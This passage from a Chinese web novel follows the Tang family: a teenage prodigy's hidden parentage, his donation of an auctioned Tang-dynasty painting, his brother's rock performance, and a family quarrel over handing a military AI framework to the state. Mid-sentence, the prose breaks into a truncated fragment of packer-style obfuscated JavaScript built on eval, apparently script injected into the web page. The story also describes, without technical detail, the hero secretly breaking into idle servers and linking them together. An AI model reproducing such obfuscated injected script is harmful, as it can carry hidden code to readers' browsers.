唐天揉着额头,回想起刚才的梦里,是春节的某一天。 那个十来天前见过的何爷爷又来了,他独自来到晴园。 彼时,唐晔病情已好转不少,能在园子里短暂活动。穿白围裙的中年仆妇在他身边放下一碗鱼粮。他撒了一把鱼粮进水里,一时间整池春水金光荡漾,一张张鱼嘴巴张得大大的朝向空中等待着,以获得投喂,而唐晔却没了兴致。 那位老人家踱着步子走进来。 少年见到他,先是恭敬地打了招呼,然后提醒道:“何爷爷,我还病着,别太靠近我,怕传染给您。” 何耀祖微笑着说:“孩子,我不会连这些常识都没有,你的哮喘不会传染。”他想起刚才他邀唐万里同来探望这少年,唐万里嫌弃似的甩了甩手,却转头与自己大孙女儿相谈甚欢。难道唐万里从不探望病中的孙子? 少年笑笑,默不作声。 唐老弟对这个孩子真如玩物一般,何耀祖暗暗吃惊。 他例行问了这少年几句身体恢复的情况,少年也不咸不淡地应付着他。 老人试探着问他身世:“孩子,你还记得你母亲是谁吗?” “我的母亲不是归秀兰吗?”唐晔惊讶得有点浮夸。 看来他并不是对亲生母亲毫无印象。 “而且我爷爷肯定不想我见她。”少年自顾自补充到。想起以前也曾问过爷爷和方伯伯,为什么别人有妈妈自己却没有。爷爷冷哼一声。于是他知道了,自己不该问这个问题。 “孩子,你是为你自己活着。”何耀祖不禁摇摇头。 “我这样就很好呀!我在唐家要啥有啥,为什么要违背爷爷的想法。”唐晔漫不经心地笑笑,手里扣着几颗鱼粮,让它们一颗一颗滑进水里。 何耀祖不禁说:“如果你妈妈知道你变得连她都认不出,肯定很难过!” 少年的脑海里又浮现那个年轻的白人女生,估计比现在的自己都大不了多少岁。但她不顾自己的声声呼唤,渐行渐远,如释重负一般。他冷冷一笑:“亲生母亲啊?把小孩卖了拿钱走人的亲生母亲吗?这次她想在我或爷爷那里得到什么?”她一定是从爷爷那里索要不菲,所以我爷爷才那么讨厌她,也……那么不喜欢我。 “她不是这样的人。你母亲的选择,或许是为了保护你,为了给你更好的未来。她的爱,从未离开过你,即便是在最艰难的时刻。” “看来您很了解她?” “有过几面之缘。 “她是谁?” “她当时是一名来自北国的留学生。” “您又怎么确定她是我生母?” “……有些传闻,指向你爸爸与她的亲密关系。” “我的爸爸,与一个外国女人,生下我?” “你照照镜子,自己的混血外貌还不够明显吗?” “不!我爷爷说,那是因为我奶奶是维族人!有些基因隔代才会显现出来!”少年突然大声反驳。 何耀祖知道触碰到少年说不出口的东西了,他轻声说:“小晔,你不是私生子,你是你的爸爸妈妈正常恋爱所生,你并没有低人一等。” 自己脑海里的那些不连贯的片断,自己都组织不起一个完整的故事,少年突然哈哈大笑起来:“何爷爷,你这是闹哪出呀?可怜我?那就不必了。” 他整个人都垂挂在栏杆边缘,将掉未掉。 何耀祖突然抓住少年瘦削的肩膀,“回家乡那天,你明明都已经赢了,为何要多嘴与秀兰争辩?让你祖父不喜?” 唐晔笑了笑,并不答话。 何耀祖在水面的反射里看到他的脸,才惊觉:“你是故意的,就是为了让你祖父批评?” “呵呵,这样不是挺好吗?我被爷爷批评,大家乐得开心。……反正我也不会不开心,愉人愉己,何乐不为呢!”少年看着水面上翻滚的鱼群,悠悠说着。 一老一少各占了凉亭一侧,许久却不再交谈。 唐晔一直在喂鱼,还是一颗,好久才又一颗,慢慢一点点喂着鱼。何耀祖一直盯着他的瘦削的背影,忍不住问,“这样好玩吗?” “子非鱼,焉知鱼之乐也。” “我问的是喂鱼的你。” “焉知余亦非鱼也?” 何耀祖离开晴园后,唐天从后面一把抱住弟弟:“刚刚他说什么?知道你妈妈是谁了?” “哥哥,你听错了!”他笑嘻嘻地拍了拍唐天的脸。 “我知道你记得你妈妈!她是公主,而你是个王子,我以前听到你对着树洞说的,是不?”他稍稍松开手臂。 “这世上哪有那么多王子、公主的,你书白念啦!我不愿知道谁是我妈妈,我只想在这里,在你和爷爷身边!”唐晔在他臂圈里转过身,眉眼含笑。 “不!小晔,十几天前,那个红包丢了时,你也是这么哄我的,然后你就病了……你又在哄我,对不对?” “哥,你说什么呢?” “所以,你一定会走的,你一定会跟着那女人离开,回去当你的王子,毕竟她是公主,你是王子,就算不承认,你也是……你最终,会离开我的。”他紧紧抓住弟弟双肩。 唐晔走上前一步,抱住情绪有点激动的哥哥,他轻轻拍着哥哥的背,“哥,你在说什么呀?睡晕了吧?” “小晔,永远不要离开我,我可以相信你的,对吗?” 他正要回答我,风轻轻一吹,又如花瓣般飘散开来。 是的,他只是在哄我。他一定会离开,回去他母亲身边,当他的王子。 他说过,他的母亲住在遥远的北方大陆,有一座最坚固、最华丽的城堡。 总有一天,公主会派出最华丽的马车,把他接走。 唐天深陷在那双墨蓝的双眼里,犹如溺毙在深海里。 “哥哥,醒醒……” “哥哥!你醒了没……还睡?”唐晔坐在哥哥床前轻拍他的脸,“都快傍晚了!” 唐天一翻身把弟弟抱上了床:“怎么会,早醒了!” “那你一天躲在房里干嘛?” “在想你。”唐天回答得随意,实则发自肺腑。 唐晔嘻嘻一笑:“想我那又一直不出来,我还以为你出去了呢。幸好进来看一下。走不走?” “去哪?” “和他们去越秀公园看花灯,最后一天了。” “好,走吧!” 月上柳梢头,人约黄昏后。 越华公园内,华灯初上,五彩斑斓的花灯点缀着夜空,仿佛将整个公园变成了一片梦幻的海洋。两兄弟随着人流漫步在公园的小径上,周围是欢声笑语和花灯的绚烂光影。 “哥哥,你看那个羊咩灯,好可爱!”唐晔指着不远处一个栩栩如生的绵羊花灯,像个小孩似的兴奋地叫道。 唐天微笑着点头,拉着弟弟的手向绵羊灯走去。他们围在灯前,仔细观赏着那精致的制作工艺,又拿出手机两个人合照了好几张照片。 “我也想买一个花灯。”唐晔又说。 “好好,我们去找找有没有你喜欢的。”唐天宠溺地揉了揉弟弟的头发,两人便开始在花灯摊位间穿梭。他暗暗可惜的是,今年春节前唐晔刚发病,一直在卧床,他们谁也没逛成花街。 好一番挑选,唐晔终于选中了一个白里透粉的莲花灯。他小心翼翼地提着花灯,脸上洋溢着满足和幸福的笑容。 “哥你看,我的花灯好看吗?”唐晔得意洋洋地向哥哥展示着自己的新宠。 “很漂亮,和你很配。”唐天宠溺地点点头,他不明白以前为什么会讨厌这个弟弟,明明很会讨人喜欢啊。 幸好他已经全忘了。希望他永远也想不起来那些事…… “喂,你们两个总算来了,我们都逛一下午了!”不远处,何柏文朝他俩喊道。 “你不是说你没空吗?”何嘉南也问唐晔。唐晔甩着灯笼笑着向他走过去。 穿着汉服的几个女生围了上来,钟小琳忿忿地一把抢过何嘉南手里的相机,塞给唐晔:“你画画好看,拍照取景肯定比何嘉南好上不少,你来拍!” 唐晔接过相机,瞄了一眼好友,笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵新城在邮件中写道:“唐老师,上次您讲的机器学习内容,我还有些地方不太明白,能否请您再解释一下?”孙山则是询问了关于某个算法的具体应用,而林栋则是对某个公式产生了疑惑。唐晔一一回复,每一个问题都耐心解答,直到他们表示理解。 然而,在众多邮件中,有一封却让他有些失望。那是吴凡的邮件,内容简短而冷淡:“课程内容已阅,无问题。”吴凡在上次的测试中表现并不理想,但他却从未主动提出过任何问题。 唐晔在课前很直接对吴凡说:“吴凡大哥,我希望你能明白,学习是一个需要主动探索的过程。如果你对课程内容有疑问或者不理解的地方,我希望你能直接地提出来,我会尽力帮助你解决。我没有恶意。” 吴凡被唐晔的话说得一愣,他没想到这小孩会这么直接地点到他的问题。他仍是淡淡地表示知道了。 休息时间。赵新城和林栋早已与唐晔熟稔,三人之间相处得如同兄弟一般。而孙山更是人来熟,不论遇到谁都能聊得火热。吃饭时,他们四人自然而然地围坐在一起,谈笑风生。吴凡却落了单,独自坐在一旁。 正在这时,外面传来通报声,说是万里地产的方总来了。 他此次前来,带来了一件珍贵的礼物——前两周,唐万里为唐晔在拍卖行拍下并刚刚办完手续的唐代宫廷画家张萱的名作《乳母抱婴图》。 唐晔见状,眼睛一亮,连忙邀请几位技术员哥哥一起欣赏,一边随口问道:“最终多少钱拍下的?” 方源恭敬地回答:“最终成交价是360万米元。” 赵新城听了,不禁惊呼:“哇!那岂不是两千万人民币了?”众人也都被这个数字吓了一跳,纷纷感叹唐家的手笔真是大得惊人。 唐晔皱了皱眉:“我不是说了么,超过两百万就别买了。” 方源连忙解释道:“老爷说了,只要三少爷喜欢,多少钱都为您拍下。” 孙山在一旁不禁笑道:“那我以后知道了,只要是你唐三少看中的东西,我就去抬价!把价格抬得高高的……” 唐晔闻言,毫不留情地打断他,笑道:“那你可就别怪我不客气了,到时候我直接放弃,看你怎么办!”几人都哈哈大笑起来。 方源为唐晔戴上手套,他小心翼翼地展开那幅约一米高、半米宽的唐代画作。 画面在桌面上缓缓铺展开来,如同一扇通往历史的大门缓缓敞开。 少年缓缓地绕着画作走了一圈,目光专注而深邃,细细品味着画面的构图和色彩。绢丝画布状态保存得极好,色彩鲜艳且不失古朴,那细腻的笔触、生动的色彩……真品近在眼前,比他之前在拍卖行的宣传文案上看到的还要更加动人。少年心中不禁大喜,这价格太值了! 画面中,乳母怀抱婴儿,神情慈爱而专注,婴儿则在她怀中安然入睡,整个画面洋溢着宁静与和谐的气息。 唐晔伸出手,轻轻抚摸着绢丝的质感,感受着那岁月留下的痕迹。又微微眯起眼睛,屏着呼吸,仔细端详着画中的每一处细节。 少年沉浸在艺术世界中,仿佛忘却了周围的一切。赵新城三人看着这富家公子的一举一动,都生怕打扰到他似的,连说话声都放得轻轻柔柔的。 一直到—— 唐晔拿出了手机,对着这幅画左拍右拍、上拍下拍,记录下这难得的珍品。 “唐三少,我们也给你和这画合照一张?”孙山又调侃他,以为是少年心性使然,才拍那么多照片,用于炫耀。价值两千万的宝贝呀!这不比其他富家子弟炫名表名车名牌包包酷得多! 唐晔一边尽量不让呼吸的气流影响到这幅古画,一边简单解释:“等下你们就知道了。” 拍完照后,唐晔让方源把它原样卷好。方源依他指示,小心翼翼地将这幅一千三百岁的古画卷起,放进锦盒中,又问道:“少爷,这幅画,是送到您住处呢?还是送回大宅由老爷代您保管?” 唐晔脱了手套,正仔细翻阅刚才用手机拍下的古画细节照片,他头也不抬地回答说:“捐了吧!” 这突如其来的话语,如一颗石子投入平静的湖面,激起一团水花。“啊?”几人惊叹道,“捐了?捐给谁啊。”“捐给我吗,唐三少?” 唐晔抬起头,笑了笑,把话说清楚:“方伯伯,麻烦您等下就去当地文化馆找何东馆长,以爷爷的名义把它捐赠给文化馆。” “你这败家娃娃!我要是你爷爷,保证不打你!这可是两千万啊,两千万!”孙山大哥哥伸出两根手指头,模仿着老人家应有的语气说道。 这豪门贵公子只是淡淡地笑了笑:“你们以前上学是不是没学过近代史、没学过道德法治课呀?!这是我们祖国的东西!我们祖先的东西!因为一百多年前的老祖宗们贫穷落后挨了打,所以一百多年后的我们才需要花两千万来买回属于我们中华民族自己的东西。你们几个,对,说的就是你!别在那儿混时间了,赶紧做好手头的事情,只有科技发达了,国家强大了,人民的生命和财产安全才能得到保障。” 赵新城的眼光一闪一闪亮晶晶地看着他。 孙山有些不甘心地说:“这明明是你家的东西……” 唐晔笑着说:“爷爷钱多,我就帮他花点儿,怎么啦!……回来回来,用个实例告诉你们什么是机器深度学习。” 唐晔一边把刚才手机里拍摄到的画面,古画的整体布局、人物表情、衣服纹理、再微距拍到的墨迹笔触等全部导入计算机,一边凭密钥进入龙之城服务器。 “机器深度学习主要依赖于生成对抗网络和卷积神经网络等深度学习技术。GAN由生成器和判别器两个部分组成,通过相互对抗的方式进行训练,从而生成具有特定风格的图像。而CNN则通过对图像特征的提取和分类来实现风格的识别和转换。 当机器学习了一个画家的风格后,它可以根据这种风格生成新的、具有相似风格的图像。这些生成的画作不仅具有高度的逼真度,而且能够保留原画家独特的艺术风格和特征。” “那到时我们想要多少幅张萱的作品都有了?”孙山说。 少年笑了笑:“那当然。” 但是,NUIT学习完成后,唐晔试着让它仿画时,并没有得到一个非常贴近的结果,他又向大家解释道:“训练数据的质量和多样性是基础,模型的复杂度决定捕捉风格的能力。优化算法和损失函数的选择影响学习速度和效果。权衡风格与内容,避免失真或减弱风格。随机性和噪声增加多样性,但需控制稳定性。计算资源和时间也必不可少。综合考虑这些因素之后,应该可以优化风格迁移效果。” “你的意思是,我们还需要更多的数据和更精细的调整?”赵新城问,他盯着屏幕上的仿画结果,眉头微皱。 “对,没错。我们需要寻找更多的张萱真迹作为训练数据,同时,我们还需要对训练模型进行更精细的调整,以达到更好的风格迁移效果。”唐晔回答道,语气充满了欢乐:“努力赚钱买画儿吧!” “你这小子!”大家笑着揉着他的小脑瓜。 21. 第 21 章 夜幕降临,月光透过云层,洒在羊城老城区。 又是一个周六晚。东山口一家复古风格的酒吧内,一场小型摇滚表演正在进行。舞台中央,一个绑着红色发带、扎着马尾的挥舞着麦克风的中学生模样的男生,是今晚的主角。 唐天的长发激烈地摆动,他的眼神中燃烧着对音乐的热爱。他用力嘶吼着,每一个音符都如同狂暴的风暴,席卷着整个酒吧。观众们被他的声音所震撼,纷纷跟着节奏摇摆。 在观众席的一角,几名好友坐着,饶是只能喝汽水,他们也被好友的歌声燃起热血,他们的目光紧紧地锁定在舞台上那个充满活力的身影上,被唐天的表演深深吸引。 表演终于结束,唐天放下麦克风,深吸了一口气,然后走向同学们,“哟!” “唐天,你真是太牛了!”钟小琳快人快语,兴奋地拍了拍旁边黑衣酷女孩的肩膀:“我宣布我要移情别恋了!” “死开,别和我抢男人!”黑短发黑衣黑短裙的黎梓茵假装生气,一把把她的手推开,又对唐天说:“我从没见过你这么有爆发力,唱摇滚的样子简直帅呆了!” “是啊,你声音真的好有力量,听得我都热血沸腾了!”何嘉南也忍不住赞叹道。 何柏文也给好友比了个大大的赞。 还有两名知行的女生围了上来,都是偷偷喜欢他的人,眼中充斥着崇拜的光芒。一个笑着说:“你真的太有才华了!” “没错,你的天赋不应该被埋没,一定要继续唱下去,让更多人听到你的声音!”另一个也激动地说道。 唐天听着同学们的赞美兴奋得不行得不行,“废话,我——是——谁!”他得意地笑了起来,下巴扬得高高的。 “吼得也太厉害了!”有人递给他一瓶矿泉水,“喝点水吧,你唱得太投入了。” 唐天接过来拧开了瓶盖,却拿起整瓶冰冻矿泉水往自己的头上淋去。冰凉的水顺着脸颊和脖子流下,让他感到一阵清爽,又一手掌把塑料瓶捏扁,抬手一个帅气的投篮动作,扔到几米外的垃圾桶。 他的一连串举动让一众喜欢他的女生们心动不已,黎梓茵拿出纸巾去给他擦脸上的水,不知是否故意,纸巾轻撩过他的耳垂。 他突然一把扣住黎梓茵的后脑勺,对着女生涂成紫红色的嘴唇,直接吻上去。 “哇!”整桌同学都尖叫了起来。 唐天放开黎梓茵,用手背擦了擦嘴上的口红,又撩了一下她的下巴,说,“你今晚真美!”说着,头也不回地走回小舞台上。 何嘉南在何柏文耳边说,“怪不得他不叫唐晔来,他们两兄弟真是南辕北辙!” 何柏文皱了皱眉,“唐天说不是故意不带他来,说这段时间一到周末都找不到他人。话说,这家伙平时在学校也不这样,今天是玩嗨了。靠!你看他,戏精上身了这是!” 只见唐天走到舞台一侧,背着大家利落地脱了身上的黑色T恤,又马上换上一件白色衬衫。这时,又有几个女孩子尖叫了起来。 “谢谢大家,没想到我的表演能得到这么多人的认可。”唐天扣了两三个扣子,转身拿起麦,对着酒吧里所有人说道。 “下面这首歌,是我一首很喜欢的老歌。” 酒吧内灯光变得柔和,空气中弥漫着淡淡的酒香。舞台的一角,键盘手的手指在黑白键上轻盈地跳跃,前奏如同一个人的脚步,在街角踯躅徘徊,轻轻印在每个人的心头。 唐天站在舞台中央,低着头,仿佛是在沉思,又仿佛是在回忆。他轻轻握住麦克风,那一刻,整个酒吧都仿佛安静了下来,只有他的呼吸声在耳边回响。一开口,却是微微哽咽的声音,像是被什么牵绊住了心弦,随着键盘的旋律缓缓响起。 “小小的小孩,今天有没有哭?是否朋友们都已经离去,留下了带不走的孤独……”歌词中的每一句都像是从少年歌者的心底深处流淌而出,带着淡淡的忧伤与深深的眷恋。他的声音温柔,像是在耳边的呢喃细语,又像是孩子在哭诉。 一阵长长的呜咽之后,紧接着是一声破碎的吼叫,再转成撕裂的清啸声,带着一丝丝的无奈与悲凉。随之而来的,是用尽整个肺部的力量唱出的副歌——“我亲爱的小孩,为什么你不让我看清楚……我愿意陪伴你,走上回家的路……”如泣如诉的唱腔,他的声音在颤抖,包裹着手腕的衬衣袖子也在颤抖,眼睛却紧闭着,仿佛是在逃避、又仿佛是在全力抗争着,脑海里那双幽蓝眼瞳的挣扎与失望。 湿发紧贴着他的脸,让人看不清他脸上的表情,只有那滴落的水珠与冰水交织在一起,让人感受到他内心的困顿和痛苦。白色衬衣在柔和的彩灯照耀下,被染上了各种颜色,仿佛是他内心的世界也被投射了出来。 周围的人们被他的歌声深深打动,女孩们的手交握着放在胸前,定定地注视着舞台上的人,有些人眼含热泪,默默地聆听着;有些人则一直在跟唱,他们的肩膀轻轻颤抖着,仿佛歌者在代替他们,诉说着自己的故事。 当最后一个音符落下时,酒吧里响起了一片热烈的掌声和欢呼声。唐天睁开眼睛,看着周围那些被他的歌声所打动的人们,他的嘴角勉力扬起一个微笑。 在这个夜晚,当唐天在用歌曲倾诉自己的内心和理想时,离东山口却并不远的一个外面没有挂着牌的疗养院的庭院里,两副他都极为熟悉的面孔却互相抵着对方。 准确地说,是男孩被他的大姐紧紧抓住胸前的衣服,把他拉得贴近自己。 虽然已经比面前的姐姐高出一点、比姐姐的力气只大不小,但唐晔看起来没有推开姐姐钳制的打算。 唐笑涂着正红色唇膏、画着精致唇线的小巧的嘴一张一合,却说着:“妈妈还真没说错,你真像一条只会跪舔的狗,稍稍对你凶一点,你就立即吓得趴在地上了。连我也忍不住想踹你两脚。” 饶是如此,唐晔还是轻声劝慰着大姐,“姐姐,抱歉,我既已答应了把这东西交还给防务部,那我就得做到。我不可以按你说的,留下核心部分在我手里。”顿了一下,他继续平静地说,“用NUIT这个人工智能体来换回唐晚星的清白,这是爷爷的心愿。” “我知道,我也懂一些了!”她是勤奋好学的女生,这一段时间每次都在陪同弟弟的同时,也在旁听学习,回到家,她也在工作之余废寝忘食地研究。“我知道Nuit那是一定要交,毫无疑问,毕竟这么强力的还能自我训练的杀伤性人工智能体,留在手里还担心它无法控制。但最核心的深度训练框架既然你还没有转交……” “只是还没,不是不需要转交。没有它,Nuit就很难去进行自我学习了,相比之前我用过的cafe和karas这些,龙之城这个框架的优势在于静态计算图带来的优化,使得模型运行更为高效,支持高效的分布式计算,可以显著提升模型的训练速度……” 唐笑不耐烦地打断他:“就因为如此,你才应该把它留在自己手里!他们要的,就是十几年前被叔叔创建出来的、被训练好的智能猛兽而已,没有让你把训兽场留给他们、把它养大养肥!你知不知道这个东西的价值所在?有了它,你随随便便可以变成千亿富翁,轻松把爷爷都能比下去,好吗!”唐笑越来越激动。 唐晔并不认同:“这个本来就不是我开发的,要是我自己的东西我当然会力争……” “天啊!唐晚星是你生身父亲,他的财富,包括精神财富由你继承,这不是天经地义吗?!”唐笑觉得他不可理喻! 小少年皱了皱眉,“这个框架已经开发了18年,如果十多年前唐晚星没死,密钥没遗失,本来我国应该远远走在世界前列的!我花了两年时间,直到半年前才破解完缺失的密钥,现在也暂时没有精力去带领一个团队去开发龙之城,所以交给防务部和科研院是最好的选择,他们会把它更好地开发利用下去的……” “以你的智商你根本就不应该去读中学!有必要吗?应该及时抓住这个风口!好,那我可以帮你带团队啊!” “但姐姐现在高薪组建团队,一是到处挖人花费大,成本什么时候回收也未可知,你会难以平衡投入产出的,难免到时候会向资本妥协;二是团队组建过于匆忙,人员水平参差不齐,还需花时间培训和磨合,而科研院也已经有较成熟团队了……” “你真是无可救药!爷爷老糊涂了,你好歹也理智一点,给自己留点东西,为自己赚点保命钱吧!” “我有自己的知识和能力,我以后自己会赚钱……” “赚你个头啊!知道爷爷养你需要花多少钱吗? 整天生病,进一次ICU就上百万;整天要这要那,几百万的车子、乐器,什么东西随便买、两千多万的古画随便就捐了,爷爷的钱是大风刮来的吗?也是一分一毫赚来的! 我爸爸好歹自己的唐氏控股能养活我们一家几口。我一回国,还不是从基层做起,拿着几千一万的工资,一点一点花时间学习积累? 你呢?你和你爸唐晚星有为唐家作过什么贡献吗?除了烧钱!爷爷还想把万里地产留给你,你凭什么?不就是因为你和小天是男的吗? 行,我也认了!但现在你到嘴边的东西,叫你留一口汤给姐姐我,你都推三阻四?” 唐笑越说越激动:“去死吧!我妈真是说得没错!你这样的人,白费了我前几年对你这么好!你当时怎么没死掉?快点去死吧!” 她猛地一把把唐晔推得向后一个趔趄,又向前一步,一巴掌打在他脸上,见他毫无反抗,还想再抬起穿着尖头高跟鞋的脚踢他。这时,赵新城刚好走出来,见状马上抓住唐笑的肩膀:“你干什么?” “我干什么关你屁事!放手,再不放手我喊非礼了!” 赵新城连忙撒手后退了两步,又说:“两姐弟,有话好好说……” “你懂个屁!哼,你也是个男的!女人比你们差了什么?!都给我去死吧!” 唐笑把两只高跟鞋脱掉,在旁边的花坛上磕掉高跟,踩着两只变成平跟的鞋子仰首阔步离开了。 赵新城连忙走到唐晔面前,拍拍他的背:“小唐老师,没事吧?” 少年低着头,长长的发荫把眼睛遮住了,闷声回答,“没事。” “呃……我刚才想说的是,有结果了……要不你再休息会儿吧?” “走,分析一下数据。”唐晔自己开了门往里走去。 何耀祖站在这座疗养院的三楼的房间,看着庭院里,唐笑与唐晔两姐弟在下面聊天,他一边喝着手里的龙井茶,一边笑着对坐在沙发上的唐万里说:“可算懂你为何更喜欢绿茶了,清新,鲜爽。” 唐万里笑着正要答话,却看到何老哥比出一个停止的手势——站在窗前的何耀祖突然看到唐笑一把抓起唐晔胸前的衣服,尖声说了几句话,他忙挥手叫唐万里过来看看他的一对孙子女。 两个老人打开了窗户:唐晔说话声音几不可闻,但唐笑的语气却不像平时的温柔,更有点失了礼仪地激动地挥舞着另一只手,甚至猛地一把推开了三弟,然后居然还冲上去扇了三弟一巴掌! “姐弟俩发生了啥事儿呀!”何耀祖不由得忧心起来,“这俩孩子没事吧?” 唐万里看到这里,却摇了摇头,沉默不语。 看他打算置之不理的态度,何耀祖不由得为他的小孙子鸣不平:“万里,你这就过份了吧。他一个小孩,无父母依傍,你光给钱,买这买那,有什么用啊?你那大儿媳妇都把他欺负成那样儿了,现在大孙女儿也对他说动手就动手,这是把他当人看吗?你也不出句声!” 唐万里囫囵又不耐地说了句:“你也知道他就那样子了。” 他不愿说出口的是,这孩子终有一天会比这里所有人都早早离去。在他身上投入金钱,无所谓,投入感情,就算了吧。上了年纪,谁都只想顺应天命,让黑发人送白发人。如果,向天能借给这孩子八十年寿命…… 其实这孩子很棒。 “哪样子呀?是,他看着没你那长孙那么大气、朝气蓬勃,但你这样对他不闻不问,想想他有多难过。”何耀祖回想起春节后的第二次见面,那时唐晔大病初愈,身体尚显虚弱,看出自己的来意后却硬是强撑气势,不愿落了下乘,阴郁的外表下自有他的坚韧不屈。 “只要他交出龙之城、换回晚星的清白和荣誉,我会好好待他的。”唐万里把玩着自己手中盛着绿茶的白瓷杯子。 何耀祖回想起两个星期前,何粤在前往M国的前夜,对他说的那番话:“这孩子的价值,不仅在于他的虹膜数据与唐晚星相似、因而他凭自己就能破解剩余的密钥片断。更重要的是,对于大多数人而言,人工智能发展至今,其黑盒特征愈发显著。我们大多只能通过所使用的算法来推测神经网络等运作的原理,但这孩子却与众不同。他的思维兼具人类与计算机的特性,这使得他能轻易理解复杂的神经网络代码。对他来说,神经网络等如同透明盒一般,简单易读、易查错、易修复。因此,我建议尽快将这孩子送入科研院,由其带领团队提升我们的人工智能技术水平。” 何耀祖叹了口气说道:“你这么说,就违背了我们家一直倡导的人文关怀理念了。这孩子难道不知道自己有这个能力吗?但他想做、喜欢去做吗?他是被选择的,但这不是他自己的选择。” 何粤说:“叔,还有一件事,你有没深思过这孩子与唐晚星的关系。如果他是唐晚星与卡佳的孩子,那他应该是哪一年出生的?我记得我们科研院最后一次获知当时隶属防务部的唐晚星的消息,是在01年秋,这个孩子01年冬出生,那就是当时救那女孩时,那女孩应该已快要临盆?所以唐晚星才要拼死救她?但是以他们俩当时的年龄,以及那女孩重新在她国家出现的时间,总觉得有点蹊跷……” 这个问题,其实也是何耀祖本来今天想旁敲侧击向唐万里问清当年是从哪个人手里领回的唐晔。但是现在看老友的神态,竟然像连提也不愿意再去提这个孩子。 他叹口气,以后有机会再问吧。 当夜,从家里跑出来时,唐晔害怕得全身发抖,但他心里只有一个信念,跑,跑,快跑。哥哥好可怕,他要对我做什么? 从万里书院出来后、沿着河涌扶着栏杆跑着,转入东湖路,一路向着江边见到海印桥,在行人阶梯上了桥。经过海印桥时,月亮正好隐在云层里,珠江水漆黑如墨,像随时要伸出黑色的大手把他卷进去,但他只能坚持。早已跑不动,心跳如擂鼓,但没事,我可以! 他沿阶梯下了桥。 记得何嘉南对自己说过,沿着江边一直骑车,就能见到大学北门的汉白玉牌坊。他照做了。但为何,江这么长,路这么远? 跌跌撞撞、连走带跑了不知多久,他终于看到那个汉白玉牌坊。 他的腿一软,再也支持不住自己。 抖抖索索地从口袋摸出手机,再抖抖索索地给何嘉南发了微信。 这么一个半夜里,他肯定在睡梦中。 没事,我可以在这里等他,直到他披着晨光来接我。 不知今晚第一次去摇滚live house看唐天的演出太过兴奋,又或是否心电感应,平时夜晚一躺上床就睡着的何嘉南,却辗转难眠。他摸出手机想着干脆打局游戏。 正在这时,手机响起提示音。 何西陪着儿子赶到大学北门牌坊下面时,他们差点没留意到坐在阶梯上,蜷缩成小小一团的唐晔。 何嘉南不由得冲上台阶,紧紧抱住他。 少年见到好友,抑制了不知多久的不安与恐惧,终于随着泪水倾泻而下,如同幽暗的天空被撕裂了一角,大雨滂沱。 两父子合力把渐渐止住哭声但已全身脱力的唐晔半扶半抱带回了家。进了门,坐在沙发上喝了整杯水,总算缓过来不少,他真挚地对何爸何妈道了谢意和歉意。 何嘉南找出了自己最新净的衣服在洗澡间挂好,才拉着唐晔的手臂进去,还问,“还有什么要帮忙的?” 唐晔微笑着反问:“难道你要帮我洗?” 何嘉南轻敲他的额头,“会说笑了,看来好了。”在外面为唐晔关好浴室的门,又在外面徘徊了好一会儿。 直到妈妈问,“你在干什么?” “等他洗澡。” “人家难道连洗澡都不会,要你陪?!”妈妈疑惑道。 何嘉南支支吾吾了半晌,憋出一句,“出了一身汗,我就等着想再洗个澡……” 羊城的四月中,天气渐闷。 “那你来我们房里的浴室洗,早点洗完快睡了。” “哦!”担心唐晔洗完却没人陪伴,何嘉南拿了毛巾衣服进了主卧飞快地再把自己冲了一遍,又马上跑到起居室找人。咦,人在哪? 只听见爸爸何西的书房里传来说话的声音。 刚才何西想起两三星期前,堂兄何粤来羊城时,几人曾见过一面,一聊起,才发现大家都知晓这个名叫唐晔的少年。何粤赞扬了这少年的非凡才华,秘密提及了他们正在进行的人工智能服务器交接事宜,并感叹这孩子经历的不易,也特地让何西给予关照。 今晚见他伤心至此,“怕是交接工作不太顺利?”刚才他洗完澡出来时,何西关切地问了句。 但这少年摇摇头,看似已经并不再强求那个智能精灵。 他用何西的电脑展示了一种全新的算法,并不是自己或智能体主动去获得目标,而是特定信息或目标在算法的诱导下自动达成。 何西理解了好一会儿,才问他:“那得多强大的硬件去支持啊?” 少年天才微笑着回答:“现在大多数服务器都没有满负荷运转,我突破了这些服务器的界限,悄悄把他们连成一片。当我处于这个空间时,就像站在一个一望无际的旷野里,吹过的风、洒下的雨、土地上的震动与海浪的咆哮,数据如同自然之力在与我对话。我感知着它们的节奏,理解着它们的语言,仿佛我就是这个数字世界的一部分,与天地万物共享着生命的韵律。这个空间,我给它取了个名字,叫wasteland。” 何嘉南走进来时,看见唐晔头上还挂着粉色的毛巾。他一边尽量不打断他们正在聊的话题,一边很顺手地帮唐晔用毛巾吸着发间的水,又跑到浴室把吹风机拿过来,轻柔地帮他吹干。 他和我爸爸相处得很好,这让何嘉南倍感宽心,又觉得理应如此。 说话间隙,唐晔抬头甜甜地笑着,谢过好友。 唐晔走进客房,何嘉南也随他一起进去,指着刚铺好的床,“睡吧,刚换过干净的。” 唐晔感激地笑笑,躺进床里。 何嘉南拉过一张凳子坐在床头看着他。 “你还不回去睡?不困吗?” “困,但我怕你睡不着,先陪陪你。” 两人又聊了几句,唐晔见他呵欠连连,说,“你去睡吧。” 何嘉南揉了把脸,“我还想再陪你一会。” “那你也躺着。”唐晔往大床里侧挪了挪,轻拍着身边的空位。 “好。”何嘉南也躺了上去。 面对面侧卧着,反而两人无话,却互相听到对方的心跳,怦然作响。 不知是否今晚月色萎靡,让一切如此顺其自然。 “你的眼睛真好看,”何嘉南轻声说,“好像大海,浮在海面上,好舒服……”就像梦话一般,说着说着,他闭上眼睛。 唐晔注视着何嘉南,麦色皮肤在暗夜中显得黝黑,他健美而强壮,嘴唇轻抿,显得薄而有力。让自己心生向往。 原来,不是因为男生不可以,而是因为只有这个男生可以。 当今晚突然察觉自己的心意以后,还能无所畏惧吗? 唐晔既忧心,又甜蜜。 清晨,何嘉南在自家客房的大床上醒来。 唐晔在自己身边沉睡,嘴唇带着笑意。 漂亮的小孩,聪明的小孩,亲爱的小孩…… 他又想起以前同学们给他们起的cp名。 荷塘月色。 以前自己尚能一笑置之的调侃,竟然有一天,预言成真了。 你的名字,和我姓氏。 何妈妈黄莺做好早餐,敲了敲儿子的房门,无人回应。她突然有所感应似的,轻轻旋开了儿子的房门悄悄瞄了一眼。没有人。 她又以非常轻柔的动作,像当小偷似的,把自己家的客房门旋开了一条缝,偷偷地瞄了一眼不太大的房间的地板上,两双拖鞋。 她蹬蹬蹬地跑下楼,带着激动地小声告诉何西,儿子不在房内、却与男同学同睡客房这件事。 